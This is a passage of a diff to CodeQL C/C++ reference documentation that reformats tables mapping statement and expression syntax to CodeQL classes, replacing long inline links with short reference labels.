<https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$IfStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``switch (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``) {`` `SwitchCase <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$SwitchCase.html>`__... ``}`` | `SwitchStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$SwitchStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``do`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ ``while (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `DoStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$DoStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``for (`` `DeclStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$DeclStmt.html>`__ ``;`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``;`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ | `ForStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ForStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``for (`` `DeclStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$DeclStmt.html>`__ ``:`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ | `RangeBasedForStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$RangeBasedForStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``while (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ | `WhileStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$WhileStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ExprStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ExprStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__try {`` ... ``} __except (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``) {`` ... ``}`` | `MicrosoftTryExceptStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$MicrosoftTryExceptStmt.html>`__ | Structured exception handling (SEH) under Windows | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__try {`` ... ``} __finally {`` ... ``}`` | `MicrosoftTryFinallyStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$MicrosoftTryFinallyStmt.html>`__ | Structured exception handling (SEH) under Windows | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``return`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ReturnStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ReturnStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``case`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``:`` | `SwitchCase <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$SwitchCase.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``try {`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` `CatchBlock <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchBlock.html>`__... `CatchAnyBlock <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchAnyBlock.html>`__ | `TryStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$TryStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``void`` *func* ``(void) try {`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `FunctionTryStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$FunctionTryStmt.html>`__ | | -| | `CatchBlock <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchBlock.html>`__... `CatchAnyBlock <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchAnyBlock.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``;`` | `EmptyStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$EmptyStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``break;`` | `BreakStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$BreakStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``continue;`` | `ContinueStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ContinueStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``goto`` `LabelStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$LabelStmt.html>`__ ``;`` | `GotoStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$GotoStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *slabel* ``:`` | `LabelStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$LabelStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``float`` *arr* ``[`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``] [`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``];`` | `VlaDeclStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$VlaDeclStmt.html>`__ | C99 variable-length array | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| Example syntax | CodeQL class | Remarks | ++==========================================================+=================================================+===================================================+ +| ``__asm__ ("`` *movb %bh, (%eax)* ``");`` | AsmStmt_ | Specific to a given CPU instruction set | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``{`` Stmt_... ``}`` | Block_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``catch (`` Parameter_ ``)`` Block_ | CatchBlock_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``catch ( ... )`` Block_ | CatchAnyBlock_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``goto *`` *labelptr* ``;`` | ComputedGotoStmt_ | GNU extension; use with LabelLiteral_ | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| Type_ *i* ``,`` *j* ``;`` | DeclStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``if (`` Expr_ ``)`` Stmt_ ``else`` Stmt_ | IfStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``switch (`` Expr_ ``) {`` SwitchCase_... ``}`` | SwitchStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``do`` Stmt_ ``while (`` Expr_ ``)`` | DoStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``for (`` DeclStmt_ ``;`` Expr_ ``;`` Expr_ ``)`` Stmt_ | ForStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``for (`` DeclStmt_ ``:`` Expr_ ``)`` Stmt_ | RangeBasedForStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``while (`` Expr_ ``)`` Stmt_ | WhileStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| Expr_ ``;`` | ExprStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``__try {`` ... ``} __except (`` Expr_ ``) {`` ... ``}`` | MicrosoftTryExceptStmt_ | Structured exception handling (SEH) under Windows | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``__try {`` ... ``} __finally {`` ... ``}`` | MicrosoftTryFinallyStmt_ | Structured exception handling (SEH) under Windows | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``return`` Expr_ ``;`` | ReturnStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``case`` Expr_ ``:`` | SwitchCase_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``try {`` Stmt_... ``}`` CatchBlock_... CatchAnyBlock_ | TryStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| | ``void`` *func* ``(void) try {`` Stmt_... ``}`` | FunctionTryStmt_ | | +| | CatchBlock_... CatchAnyBlock_ | | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``;`` | EmptyStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``break;`` | BreakStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``continue;`` | ContinueStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``goto`` LabelStmt_ ``;`` | GotoStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| *slabel* ``:`` | LabelStmt_ | | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ +| ``float`` *arr* ``[`` Expr_ ``] [`` Expr_ ``];`` | VlaDeclStmt_ | C99 variable-length array | ++----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ Expression classes ~~~~~~~~~~~~~~~~~~ -This table lists subclasses of `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ representing C/C++ expressions. - -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Example syntax | CodeQL class(es) | Remarks | -+========================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================+==========================================================================================================================================================================================================+=============================================================================================================================================================================================================================================================================================================+ -| ``{`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__... ``}`` | | `ArrayAggregateLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$ArrayAggregateLiteral.html>`__ | | -| | | `ClassAggregateLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$ClassAggregateLiteral.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``alignof (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `AlignofExprOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$AlignofExprOperator.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``alignof (`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``)`` | `AlignofTypeOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$AlignofTypeOperator.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``[`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``]`` | `ArrayExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Access.qll/type.Access$ArrayExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__assume (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `AssumeExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$AssumeExpr.html>`__ | Microsoft extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``static_assert (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``,`` `StringLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$StringLiteral.html>`__ ``)`` | `StaticAssert <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Element.qll/type.Element$StaticAssert.html>`__ | | C++11 | -| ``_Static_assert (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``,`` `StringLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$StringLiteral.html>`__ ``)`` | | | C11 | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__noop;`` | `BuiltInNoOp <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BuiltInOperations.qll/type.BuiltInOperations$BuiltInNoOp.html>`__ | Microsoft extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``(`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__... ``)`` | `ExprCall <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ExprCall.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | *func* ``(`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__... ``)`` | `FunctionCall <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$FunctionCall.html>`__ | | -| | *instance* ``.`` *func* ``(`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__... ``)`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``,`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `CommaExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$CommaExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``if (`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *arg* ``=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `ConditionDeclExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$ConditionDeclExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``(`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``)`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `CStyleCast <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$CStyleCast.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``const_cast <`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``> (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `ConstCast <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$ConstCast.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``dynamic_cast <`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``> (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `DynamicCast <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$DynamicCast.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``reinterpret_cast <`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``> (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `ReinterpretCast <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$ReinterpretCast.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``static_cast <`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``> (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `StaticCast <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$StaticCast.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename...`` *T* ``>`` | `FoldExpr 